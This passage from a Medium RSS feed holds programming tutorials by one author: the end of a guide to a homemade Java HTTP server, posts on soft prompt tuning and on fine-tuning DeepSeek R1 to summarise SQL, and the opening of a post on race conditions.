method.getAnnotation(BhaiLe.class).value();<br>                    postRoutes.put(path, new RouteHandler(controllerInstance, method));<br>                }<br>            }<br>            System.out.println(&quot;Get Paths: &quot;);<br>            System.out.println(getRoutes);<br>            System.out.println(&quot;POST Paths: &quot;);<br>            System.out.println(postRoutes);<br>        }<br>    }</pre><p>Now whenever new request comes, we will do a lookup in our getRoutes or postRoutes map to identify underlying associated method.</p><pre>RouteHandler handler = router.findHandler(method, request.getPath());<br>handler.invoke(request, response);</pre><p>Once method is identified, dynamically invoke it using java reflections.</p><pre>public void invoke(HttpRequest req, HttpResponse res) throws Exception {<br>    if (method.getParameterCount() == 2) {<br>        method.invoke(controllerInstance, req, res);<br>    } else {<br>        method.invoke(controllerInstance);<br>    }<br>}</pre><p>3. ClientHandler — Handling Requests per Connection</p><p>Each incoming socket connection is assigned to a thread (from a thread pool) and passed into a ClientHandler instance. This class is responsible for reading the raw HTTP request, parsing it, and invoking the appropriate controller logic.</p><p>Here’s the key part of its run() method:</p><pre>@Override<br>public void run() {<br>    try (<br>            BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));<br>            BufferedWriter out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));<br>    ) {<br>        System.out.println(&quot;Incoming request received... [&quot; + socket.getPort() + &quot;]&quot;);<br><br>        String requestLine = in.readLine();<br>        if (requestLine == null || requestLine.isEmpty()) {<br>            return;<br>        }<br>        String[] parts = requestLine.split(&quot; &quot;);<br>        String method = parts[0];<br>        String path = parts[1];<br><br>        StringBuilder body = new StringBuilder();<br><br>        Map&lt;String, String&gt; headers = new HashMap&lt;&gt;();<br><br>        String headerLine;<br>        while ((headerLine = in.readLine()) != null &amp;&amp; !headerLine.isEmpty()) {<br>            int idx = headerLine.indexOf(&quot;:&quot;);<br>            if (idx != -1) {<br>                String key = headerLine.substring(0, idx).trim();<br>                String value = headerLine.substring(idx + 1).trim();<br>                headers.put(key.toLowerCase(), value);<br>            }<br>        }<br>        if (&quot;POST&quot;.equalsIgnoreCase(method)) {<br>            String contentLengthHeader = headers.get(&quot;content-length&quot;);<br>            if (contentLengthHeader != null) {<br>                int contentLength = Integer.parseInt(contentLengthHeader);<br>                for (int i = 0; i &lt; contentLength; i++) {<br>                    int ch = in.read();<br>                    if (ch != -1) body.append((char) ch);<br>                }<br>            }<br>        }<br><br>        System.out.println(&quot;Method: &quot; + method);<br>        System.out.println(&quot;Body: &quot; + body);<br>        System.out.println(&quot;Path: &quot; + path);<br>        HttpRequest request = new HttpRequest(method, path, body.toString().trim());<br>        HttpResponse response = new HttpResponse(out);<br><br>        RouteHandler handler = router.findHandler(method, request.getPath());<br><br>        if (handler != null) {<br>            // Invoke underlying controller method<br>            handler.invoke(request, response);<br>        } else {<br>            response.send(404, &quot;Address not found&quot;);<br>        }<br>        out.flush();<br><br>    } catch (Exception e) {<br>        e.printStackTrace();<br>    } finally {<br>        try {<br>            socket.close();<br>        } catch (IOException e) {<br>            e.printStackTrace();<br>        }<br>    }<br>}</pre><p>Sending the Response<br>Each controller method uses HttpResponse.send() to return data. This method wraps the response in a valid HTTP format (status line, headers, and body):</p><pre>public void send(int statusCode, String body) throws IOException {<br>        String statusLine = switch (statusCode) {<br>            case 200 -&gt; &quot;HTTP/1.1 200 OK&quot;;<br>            case 404 -&gt; &quot;HTTP/1.1 404 Not Found&quot;;<br>            default -&gt; &quot;HTTP/1.1 &quot; + statusCode + &quot; Custom Status&quot;;<br>        };<br><br>        out.write(statusLine + &quot;\r\n&quot;);<br>        out.write(&quot;Content-Type: text/plain; charset=UTF-8\r\n&quot;);<br>        out.write(&quot;Content-Length: &quot; + body.getBytes().length + &quot;\r\n&quot;);<br>        out.write(&quot;Connection: close\r\n&quot;);<br>        out.write(&quot;\r\n&quot;);               // &lt;--- End of headers<br>        out.write(body);                // &lt;--- Body<br>        out.flush();                    // &lt;--- Ensure data is sent<br>    }</pre><p>This is what out send method looks like, it takes in http status code and body, wraps it as per RFC specs and sents it back over the same socket connection.</p><h4>Putting It All Together: Writing an Application Using the Server</h4><p>Now that we’ve implemented the key components of our HTTP server, let’s see how a user can actually build an application using it.</p><p>Step 1: Add the Server as a Dependency</p><pre>&lt;dependencies&gt;<br>    &lt;dependency&gt;<br>        &lt;groupId&gt;com.myserver&lt;/groupId&gt;<br>        &lt;artifactId&gt;BhaiServer&lt;/artifactId&gt;<br>        &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;<br>    &lt;/dependency&gt;<br>&lt;/dependencies&gt;</pre><p>Step 2: Define Routes Using Annotations</p><pre>@BhaiControl<br>public class HelloController {<br><br>    @BhaiDe(&quot;/hello&quot;)<br>    public void hello(BhaiPlease request, BhaiMila response) throws IOException {<br>        System.out.println(&quot;Inside user controller: Hello!&quot;);<br>        String name = request.getQueryParam(&quot;name&quot;);<br>        response.bhaiBhejDe(200, &quot;Hi &quot; + (name != null ? name : &quot;Bhai&quot;));<br>    }<br><br>    @BhaiLe(&quot;/echo&quot;)<br>    public void submit(BhaiPlease request, BhaiMila response) throws IOException {<br>        System.out.println(&quot;Inside POST handler&quot;);<br>        response.bhaiBhejDe(200, &quot;You sent: &quot; + request.getBody());<br>    }<br>}</pre><p>Step 3: Start the Server</p><p>In your main method, initialize the server and register your controller, here we are binding the server on port 8088, with 10 threads in thread pool`:</p><pre> public static void main(String[] args) throws Exception {<br>        Router router = new Router();<br>        router.registerControllers(List.of(<br>                HelloController.class<br>        ));<br><br>        BhaiServer bhaiServer = new BhaiServer(8088, 10, router);<br>        bhaiServer.start();<br>    }</pre><p>And that’s it! We have built and launched a web application using our own lightweight, annotated Java HTTP server. Once you start the application this is what it will look like, our server is to ready to serve the requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_6PXt-1PDQuy50Ry-XizQ.png" /></figure><h3>Conclusion</h3><p>We built a lightweight HTTP server from scratch, covering basic routing and request handling. This foundation can be extended to support additional headers and features as defined in the HTTP/1.1 RFC — like cookies, custom status codes, or persistent connections.</p><p>It’s a great way to understand how web frameworks work under the hood.</p><p>You can find the complete code here:</p><ul><li>Server: <a href="https://github.com/printSamarth/BhaiServer/tree/main">BhaiServer</a></li><li>Example application: <a href="https://github.com/printSamarth/ApiUsingBhaiServer/tree/main">ApiUsingBhaiServer</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6df3c723c6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Soft Prompt Tuning: A Lightweight Approach to Adapting LLMs]]></title>
            <link>https://ai.plainenglish.io/soft-prompt-tuning-a-lightweight-approach-to-adapting-llms-32de014c6200?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/32de014c6200</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[prompt-engineering]]></category>
            <category><![CDATA[soft-prompt]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[soft-prompting]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sun, 02 Mar 2025 19:20:11 GMT</pubDate>
            <atom:updated>2026-02-04T07:34:15.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9A9B2GO0nqdf9m01Xw5_ng.png" /><figcaption>Reference: <a href="https://arxiv.org/pdf/2104.08691">https://arxiv.org/pdf/2104.08691</a></figcaption></figure><h4>Introduction</h4><p>Prompts are a powerful way to guide large language models (LLMs) in generating meaningful outputs. Traditional machine learning (ML) models, on the other hand, are relatively lightweight, making them cheaper to train with smaller datasets. However, training LLMs from scratch or fine-tuning them can be computationally expensive and require massive datasets.</p><blockquote>Soft prompts are learnable tensors concatenated with the input embeddings that can be optimized to a dataset</blockquote><p>Soft prompting offers a middle ground between traditional ML models and full-scale fine-tuning of LLMs. Instead of modifying the LLM’s parameters, soft prompting keeps the LLM frozen and trains only an additional embedding layer. These embeddings are machine-learned representations that are prepended to the input at inference time, helping the model align better with the specific task. Unlike standard text-based prompts, which rely on explicit instructions, soft prompts leverage learned embeddings trained on potentially hundreds of input-output examples, making them more adaptive and effective for downstream tasks.</p><h4>How Soft Prompting Works</h4><p>Soft prompting introduces a set of trainable <strong>virtual tokens</strong>, which are prepended to the input before being fed into a frozen LLM. Unlike traditional text-based prompts, these virtual tokens exist in the <strong>embedding space</strong> rather than being human-readable text.</p><p>Let’s define:</p><ul><li>x → Input text</li><li>P → Soft prompt embeddings of shape<em> (V, d)</em> where <em>V</em> is the number of virtual tokens and <em>d</em> is the embedding dimension. These are <strong>learned during training</strong> by optimizing P while keeping the LLM frozen.</li><li><em>f</em>​ → Pre-trained LLM (frozen parameters)</li></ul><p>During training, the input to the model is: <em>h = [P + E(x)]</em></p><p>where <em>E(x)</em> is the embedding representation of the tokenized input, and <em>[P + E(x)]</em> denotes the concatenation of the soft prompt with the input embeddings.</p><p>The model then generates an output y as: <em>y = f(h)</em></p><p>where only P is optimized while keeping <em>f</em>​ fixed. Virtual tokens act as <strong>learnable guides</strong>, steering the model toward desired outputs without modifying its original parameters.</p><p>Now that we know what is soft prompting, let’s walk through an example where we generate a soft prompt and use it for inference.</p><h4>Soft Prompting in Action: Spam Email Classification</h4><p>In this experiment, we aim to classify emails as <strong>spam</strong> or <strong>not spam</strong> based on their <strong>title</strong>.</p><p>We will use the <em>TrainingDataPro/email-spam-classification</em> dataset, which contains three fields:</p><ul><li>title: The subject of the email</li><li>text: The body of the email</li><li>type: The label (spam or not spam)</li></ul><p>To implement soft prompt tuning, we will leverage the <strong>PEFT (Parameter-Efficient Fine-Tuning)</strong> library. This will allow us to efficiently train a <strong>frozen</strong> language model with a learned prompt, rather than fine-tuning the entire model.</p><p>For this experiment, we will be using <strong>bigscience/bloomz-560m</strong>, a lightweight multilingual language model, as our base LLM.</p><p>Before going further lets first try to do inference without any tunning.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cb31c3787a4033352e060e8bda92829b/href">https://medium.com/media/cb31c3787a4033352e060e8bda92829b/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-HrEznF0Tjmb264jKgtN_w.png" /><figcaption>Output inference</figcaption></figure><p>As shown in the above image, the output is not good enough. Now lets try with prompt tunning and see the result for the same input.</p><p><strong>Step 1: Setting Up the Model, Tokenizer and Load the dataset</strong></p><p>First, we import the necessary libraries from Transformers, PEFT, and Hugging Face Datasets. We use bigscience/bloomz-560m, a compact causal language model.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/290920476772e4c41c43a247617280e3/href">https://medium.com/media/290920476772e4c41c43a247617280e3/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3BZMJmGWIkKJQvRYcMXrw.png" /><figcaption>Datset Structure</figcaption></figure><p><strong>Step 2: Tokenizer Setup and Class Encoding</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6684c0abf02088c675d84de4b0ec4cb5/href">https://medium.com/media/6684c0abf02088c675d84de4b0ec4cb5/href</a></iframe><p>This initializes the tokenizer and ensures it has a padding token. We tokenize the class labels (&quot;spam&quot; and &quot;not spam&quot;) to determine the maximum target length needed for label encoding.</p><p><strong>Step 3: Data Preprocessing</strong></p><p>This function prepares the dataset for training by formatting inputs and labels appropriately.</p><ul><li>The input is structured as: <strong>“Classify the following email as ‘Spam’ or ‘Not Spam’: [email title] Label:”</strong></li><li>Labels are tokenized separately and appended to the input sequence.</li><li>Padding and attention masks are adjusted to ensure uniform input lengths.</li><li>Finally, the dataset is tokenized and mapped for efficient processing.</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a323844c82fd74c64b352995c300b974/href">https://medium.com/media/a323844c82fd74c64b352995c300b974/href</a></iframe><p><strong>Step 4: Prepare Data loader &amp; Model</strong></p><ul><li>Loads the processed dataset into a <strong>DataLoader</strong> for batch processing.</li><li>Initializes the <strong>bloomz-560m</strong> model and applies <strong>soft prompt tuning</strong> using PEFT.</li><li>Sets up an <strong>AdamW optimizer</strong> and a <strong>learning rate scheduler</strong> for training.</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/02574b1645b8cab1cd67bf1feee0c384/href">https://medium.com/media/02574b1645b8cab1cd67bf1feee0c384/href</a></iframe><p><strong>Step 5: Training the Model</strong></p><ul><li>Moves the model to the <strong>GPU</strong> for faster computation.</li><li>Iterates over <strong>epochs</strong>, setting the model to <strong>training mode</strong>.</li><li>Performs <strong>forward pass</strong>, computes <strong>loss</strong>, and updates <strong>optimizer</strong> &amp; <strong>learning rate scheduler</strong>.</li><li>Tracks <strong>training loss</strong> and <strong>perplexity</strong> after each epoch.</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3e785ec1e332e6bdbba41ef8848b1130/href">https://medium.com/media/3e785ec1e332e6bdbba41ef8848b1130/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1DE2pnVOBSWxvR62WLx-Q.png" /><figcaption>Output for 1 epoch</figcaption></figure><p><strong>Step 6: Finally inference post prompt tunning</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3b36f52fda32d3b3ce26f69055fd5f38/href">https://medium.com/media/3b36f52fda32d3b3ce26f69055fd5f38/href</a></iframe><p>This is the ouput we received post prompt tunning: <em>[“\n Classify the following email as ‘Spam’ or ‘Not Spam’: Your Account Was Accessed From a New Device\n not spam”]</em></p><p>Before tuning, the model struggled to classify the email correctly. However, after soft prompt tuning, it successfully identified the email as “Not Spam.” This demonstrates how soft prompt tuning helps guide the model toward the correct classification by leveraging learned embeddings from training data.</p><h4><strong>Conclusion</strong></h4><p>Soft prompt tuning provides a lightweight yet effective way to adapt large language models for specific tasks without modifying their parameters. In this experiment, we successfully tuned a frozen LLM using learned prompt embeddings, improving its ability to classify spam emails. This approach strikes a balance between full fine-tuning and traditional prompting, making it a practical choice for efficient model adaptation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32de014c6200" width="1" height="1" alt=""><hr><p><a href="https://ai.plainenglish.io/soft-prompt-tuning-a-lightweight-approach-to-adapting-llms-32de014c6200">Soft Prompt Tuning: A Lightweight Approach to Adapting LLMs</a> was originally published in <a href="https://ai.plainenglish.io/">Artificial Intelligence in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fine-Tuning DeepSeek R1 to Summarize SQL Queries]]></title>
            <link>https://ai.plainenglish.io/fine-tuning-deepseek-r1-to-summarize-sql-queries-a44d5fdeceff?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/a44d5fdeceff</guid>
            <category><![CDATA[fine-tuning-llm]]></category>
            <category><![CDATA[deepseek-r1]]></category>
            <category><![CDATA[deepseek]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sun, 02 Feb 2025 15:33:29 GMT</pubDate>
            <atom:updated>2026-02-04T07:34:33.248Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-EAgt0wdf3GKZQyuCv-jg.png" /></figure><p>Lately, everyone’s been talking about DeepSeek, and since it’s open-source, I figured — why not give it a shot and fine-tune the model?</p><p>While exploring possible use cases, I came across an interesting challenge: turning SQL queries into simple, human-readable summaries. There are plenty of models for converting natural language to SQL, but surprisingly, couldn’t find one for the reverse. On top of that, finding a good dataset for this was another challenge.</p><p>So, I decided to build my own. I tweaked existing datasets meant for natural language to SQL, set up the training, and fine-tuned DeepSeek R1 to see how well it could handle the task. This article walks through that whole process — what worked, what didn’t, and how well the final model performed.</p><p>Lets start with the step by step guide to fine tune DeepSeek R1</p><h4>1. Setup</h4><p>For this experiment, we’ll be using Google Colab since it provides free access to a GPU. We’ll also need a dataset from Hugging Face, which requires an access token, and a key from Weights &amp; Biases (W&amp;B) for tracking our training progress.</p><p>First, generate your keys:</p><ol><li><strong>Hugging Face:</strong> <a href="https://huggingface.co/">https://huggingface.co/</a></li><li><strong>Weights &amp; Biases:</strong> <a href="https://wandb.ai/">https://wandb.ai</a></li></ol><p>Once you have them, open a new Colab notebook, set the runtime to <strong>T4 GPU</strong>, and add these keys as secrets in Colab.</p><p>We’ll be using the <strong>Unsloth</strong> framework, which is designed to optimize and speed up the entire LLM fine-tuning process. Run the following command to install Unsloth:</p><pre>%%capture<br>!pip install unsloth<br>!pip install --force-reinstall --no-cache-dir --no-deps git+https://github.com/unslothai/unsloth.git</pre><p>Now acquire connection to both hugging face and W&amp;B using the generated secret keys.</p><pre>from huggingface_hub import login<br>from google.colab import userdata<br><br>hf_token = userdata.get(&#39;DEEP_SEEK_HF&#39;)<br><br>login(hf_token)</pre><pre>import wandb<br><br>wb_token = userdata.get(&#39;WEIGHTS_BIASIS&#39;)<br><br>wandb.login(key=wb_token)<br>run = wandb.init(<br>    project=&#39;Fine-tune-DeepSeek-R1-Distill-Llama-8B for SQL Analysis&#39;, <br>    job_type=&quot;training&quot;, <br>    anonymous=&quot;allow&quot;<br>)</pre><p>We have created new project “<em>Fine-tune-DeepSeek-R1-Distill-Llama-8B for SQL Analysis</em>” to store our fine tunning progress.</p><p>Once done with this setup, lets try to use the existing model to see how it responds to our query of summarising SQL query.</p><h4>2. Using existing model</h4><p>The following code snippet loads <strong>DeepSeek-R1</strong> using the <strong>Unsloth</strong> framework. We’re using <strong>R1</strong> because it performs well on reasoning tasks.</p><pre># Load the model<br>max_seq_length = 2048 <br>dtype = None <br>load_in_4bit = True<br><br><br>model, tokenizer = FastLanguageModel.from_pretrained(<br>    model_name = &quot;unsloth/DeepSeek-R1-Distill-Llama-8B&quot;,<br>    max_seq_length = max_seq_length,<br>    dtype = dtype,<br>    load_in_4bit = load_in_4bit,<br>    token = hf_token, <br>)</pre><p>We’re setting max_seq_length to <strong>2048</strong> and enabling load_in_4bit to reduce memory usage while keeping performance optimized. The hf_token is our Hugging Face access token generated earlier, which allows access to the model.</p><p>Now lets define our system prompt.</p><pre>prompt = &quot;&quot;&quot;Below is SQL query. Think like sql expert and generate a summary of the query which explains the use case of the query. As in<br>what the query is trying to read from the database in a usecase sense.<br><br>### Query: <br>SELECT <br>    c.customer_id,<br>    c.name AS customer_name,<br>    COUNT(o.order_id) AS total_orders,<br>    SUM(o.total_amount) AS total_spent,<br>    AVG(o.total_amount) AS avg_order_value,<br>    MAX(o.order_date) AS last_order_date<br>FROM customers c<br>JOIN orders o ON c.customer_id = o.customer_id<br>LEFT JOIN order_items oi ON o.order_id = oi.order_id<br>WHERE o.order_date &gt;= &#39;2024-01-01&#39;<br>GROUP BY c.customer_id, c.name<br>ORDER BY total_spent DESC<br>LIMIT 10;<br><br>### Response:<br>&quot;&quot;&quot;</pre><p>In this prompt, we’re giving the model both the instruction and the SQL query, asking it to generate a summary that explains what the query is doing, focusing on the use case rather than the technical details.</p><p>Now lets pass this prompt to the model and see what it responds.</p><pre><br>FastLanguageModel.for_inference(model) <br>inputs = tokenizer([prompt], return_tensors=&quot;pt&quot;).to(&quot;cuda&quot;)<br><br>outputs = model.generate(<br>    input_ids=inputs.input_ids,<br>    attention_mask=inputs.attention_mask,<br>    max_new_tokens=1200,<br>    use_cache=True,<br>)<br>response = tokenizer.batch_decode(outputs)<br>print(response[0].split(&quot;### Response:&quot;)[1])</pre><p>It gives quite good responses, offering a detailed breakdown of the chain of thoughts along with a decent summary: <em>The SQL query is designed to analyze customer spending patterns by aggregating data from the orders and order_items tables. It retrieves detailed information about each customer, including the number of orders, total spending, average order value, and the most recent order date. The results are grouped by customer and sorted by total spending in descending order, limited to the top 10 customers. This allows businesses to identify high-value customers for targeted marketing, customer retention, or analytical purposes.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMyYxE3th-twnRQGM9rtrw.png" /><figcaption>Response</figcaption></figure><p>Now, let’s fine-tune the model and see how it performs after the tuning.</p><h4>3. Preparing Dataset</h4><p>Before starting the training process, let’s figure out which dataset to use. Since I couldn’t find an exact dataset for this task, I decided to repurpose a <strong>Natural Language to SQL</strong> dataset by switching the input and output.</p><p>For this, we’re using the <a href="https://huggingface.co/datasets/b-mc2/sql-create-context"><strong>SQL Create Context</strong></a> dataset from Hugging Face. It contains three parts: a <strong>question</strong>, an <strong>answer</strong>, and a <strong>context</strong>. In this dataset, the <strong>question</strong> is an English string, the <strong>answer</strong> is SQL, and the <strong>context</strong> has DDL.</p><p>In our case, we’ll switch the answer and question. So, for us, the <strong>answer</strong> will be the English string, and the <strong>question</strong> will be the SQL query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R7nRe0g29MFhFsLSM4oRhg.png" /><figcaption>Preview of the Dataset</figcaption></figure><p>Lets load the dataset</p><pre>from datasets import load_dataset<br>dataset = load_dataset(&quot;b-mc2/sql-create-context&quot;, split = &quot;train[0:500]&quot;,trust_remote_code=True)<br></pre><h4>4. Training the model</h4><p>Let’s define our training prompt. The prompt will consist of several parts:</p><ul><li><strong>Instruction</strong>: A clear instruction explaining what the model needs to do.</li><li><strong>SQL Query</strong>: A placeholder for the input SQL query.</li><li><strong>Context</strong>: In our case, the context will be the DDL (while more precise context being the schema and its explanation).</li><li><strong>Response</strong>: A placeholder for the generated response.</li></ul><p>Here’s how the structure of the training prompt will look:</p><pre>train_prompt_style = &quot;&quot;&quot;Below is an instruction that describes a task, paired with an input that provides further context. <br>Write a response that appropriately completes the request. <br>Before answering, think carefully about the question and create a step-by-step chain of thoughts to ensure a logical and accurate response.<br><br>### Instruction:<br>You are a SQL expert with advance understanding of SQL queries. You can understand database schema from the query. Think like sql expert and generate a summary of the query which explains the use case of the query. As in<br>what the query is trying to read from the database in a usecase sense.<br><br>### Query:<br>{}<br><br>### Response:<br>&lt;think&gt;<br>{}<br>&lt;/think&gt;<br>{}&quot;&quot;&quot;</pre><p>Now, let’s prepare our dataset by inserting values into the placeholders in the training prompt. We’ll need to loop through our dataset and replace the placeholders with the actual SQL query, response and context (schema explanation) for each example.</p><p>Here’s how we can do that:</p><pre>EOS_TOKEN = tokenizer.eos_token  # Must add EOS_TOKEN<br><br>def switch_and_format_prompt(examples):<br>    inputs = examples[&quot;answer&quot;] #Reverse<br>    context = examples[&quot;context&quot;]<br>    outputs = examples[&quot;question&quot;] #Reverse<br>    texts = []<br>    for input, context, output in zip(inputs, context, outputs):<br>        text = train_prompt_style.format(input, context, output) + EOS_TOKEN<br>        texts.append(text)<br>    return {<br>        &quot;text&quot;: texts,<br>    }<br><br>dataset = dataset.map(switch_and_format_prompt, batched = True)</pre><p>This is how a sample training prompt looks like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UN_S7MTJYWD7M_lmIMt6HA.png" /><figcaption>Training prompt</figcaption></figure><p>Finally, let’s define the model. For our fine-tuning, we’ll be doing learning on specific modules.</p><pre># we are just doing learning on certain modules <br>model = FastLanguageModel.get_peft_model(<br>    model,<br>    r=16,  <br>    target_modules=[<br>        &quot;q_proj&quot;,<br>        &quot;k_proj&quot;,<br>        &quot;v_proj&quot;,<br>        &quot;o_proj&quot;,<br>        &quot;gate_proj&quot;,<br>        &quot;up_proj&quot;,<br>        &quot;down_proj&quot;,<br>    ],<br>    lora_alpha=16,<br>    lora_dropout=0,  <br>    bias=&quot;none&quot;,  <br>    use_gradient_checkpointing=&quot;unsloth&quot;,  # True or &quot;unsloth&quot; for very long context<br>    random_state=3407,<br>    use_rslora=False,  <br>    loftq_config=None,<br>)</pre><p>Now, let’s define the trainer for fine-tuning the model. We’ll use the <strong>SFTTrainer</strong> from the trl library, along with other important training parameters.</p><pre>from trl import SFTTrainer<br>from transformers import TrainingArguments<br>from unsloth import is_bfloat16_supported<br><br>trainer = SFTTrainer(<br>    model=model,<br>    tokenizer=tokenizer,<br>    train_dataset=dataset,<br>    dataset_text_field=&quot;text&quot;,<br>    max_seq_length=max_seq_length,<br>    dataset_num_proc=2,<br>    args=TrainingArguments(<br>        per_device_train_batch_size=2,<br>        gradient_accumulation_steps=4,<br>        # Use num_train_epochs = 1, warmup_ratio for full training runs!<br>        warmup_steps=5,<br>        max_steps=60,<br>        learning_rate=2e-4,<br>        fp16=not is_bfloat16_supported(),<br>        bf16=is_bfloat16_supported(),<br>        logging_steps=10,<br>        optim=&quot;adamw_8bit&quot;,<br>        weight_decay=0.01,<br>        lr_scheduler_type=&quot;linear&quot;,<br>        seed=3407,<br>        output_dir=&quot;outputs&quot;,<br>    ),<br>)</pre><p>Finally start the training process</p><pre>trainer_stats = trainer.train()</pre><p>The training process was surprisingly fast — it took around 6 minutes to complete, as shown in the image below. From the training log, we can observe that the loss gradually decreased with each epoch, and by the last epoch, the loss seemed to plateau, which is a good sign. This indicates that the model has likely converged and is no longer improving drastically, signaling the end of the training process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0j6C0U1O6cBmspfmiIuBZw.png" /><figcaption>Training loss</figcaption></figure><h4>5. Inference on trained model</h4><p>Now lets try our newly trained model with the same query:</p><pre>query1 = &quot;&quot;&quot;<br>SELECT <br>    c.customer_id,<br>    c.name AS customer_name,<br>    COUNT(o.order_id) AS total_orders,<br>    SUM(o.total_amount) AS total_spent,<br>    AVG(o.total_amount) AS avg_order_value,<br>    MAX(o.order_date) AS last_order_date<br>FROM customers c<br>JOIN orders o ON c.customer_id = o.customer_id<br>LEFT JOIN order_items oi ON o.order_id = oi.order_id<br>WHERE o.order_date &gt;= &#39;2024-01-01&#39;<br>GROUP BY c.customer_id, c.name<br>ORDER BY total_spent DESC<br>LIMIT 10;<br>Explain use case of this query.<br>&quot;&quot;&quot;<br><br><br>FastLanguageModel.for_inference(model) <br>inputs = tokenizer([prompt_style.format(question, &quot;&quot;)], return_tensors=&quot;pt&quot;).to(&quot;cuda&quot;)<br><br>outputs = model.generate(<br>    input_ids=inputs.input_ids,<br>    attention_mask=inputs.attention_mask,<br>    max_new_tokens=1200,<br>    use_cache=True,<br>)<br>response = tokenizer.batch_decode(outputs)<br>print(response[0].split(&quot;### Response:&quot;)[1])<br></pre><p>The response is much more specific now, with a clear chain of thought. The model has not only tried to generate the schema but also provided a direct and to-the-point answer. One notable improvement is that it mentioned <strong>“top 10 customers with the highest total spent”</strong>, which was missing in the first response. This suggests the model is now capturing the full context and understanding the query more accurately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qWNLHn_CSGqauhubZnvEA.png" /><figcaption>Response</figcaption></figure><h4>Conclusion</h4><p>As we can see, fine-tuning open-source LLMs has become surprisingly simple, even without fancy hardware. With DeepSeek democratizing the LLM landscape, it’s not far off that we’ll soon have even better and more accessible models available, making this process both easier and more cost-effective.</p><h4>Reference</h4><p><a href="https://www.datacamp.com/tutorial/fine-tuning-deepseek-r1-reasoning-model">https://www.datacamp.com/tutorial/fine-tuning-deepseek-r1-reasoning-model</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a44d5fdeceff" width="1" height="1" alt=""><hr><p><a href="https://ai.plainenglish.io/fine-tuning-deepseek-r1-to-summarize-sql-queries-a44d5fdeceff">Fine-Tuning DeepSeek R1 to Summarize SQL Queries</a> was originally published in <a href="https://ai.plainenglish.io/">Artificial Intelligence in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Conditions in Action: Practical Scenarios and Solutions]]></title>
            <link>https://medium.com/@itssp1998/race-conditions-in-action-practical-scenarios-and-solutions-3a69b70e0309?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a69b70e0309</guid>
            <category><![CDATA[locking]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[jpa]]></category>
            <category><![CDATA[spring-boot]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Wed, 14 Aug 2024 13:07:20 GMT</pubDate>
            <atom:updated>2024-08-14T13:07:20.148Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yayo5n5zdFSe7CTz2D2gbw.png" /></figure><p>Let’s start with what is race condition ? — <em>“ Race condition is when two or more processes try to access the same resource simultaneously, the resulting state of the resource depends on the sequence of their execution their by making the system behaviour unpredictable. ”</em></p><p>In this article, we will explore a scenario where race condition can happen and explore effective strategies to identify and fix the same. For example purpose will be focusing on system with stack as Java, Spring boot, Hibernate and MySQL but the concepts and solutions discussed can be applied to various systems and technologies.</p><h3>Scenario</h3><p>Consider the following workflows:<br>1.Primary Workflow<strong>:</strong> Read a record from the database, perform some operations, trigger an event or API call to a third-party service, and then update the record. If the event/API call fails, the record is rolled back.<br>2. Event Handler: An event handler consumes the callback from the third party to update the status of the event.</p><p>Let’s write a simple sudo code based on the above scenario.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ac908ba9d4ed9ef46360f4230d31d4b8/href">https://medium.com/media/ac908ba9d4ed9ef46360f4230d31d4b8/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 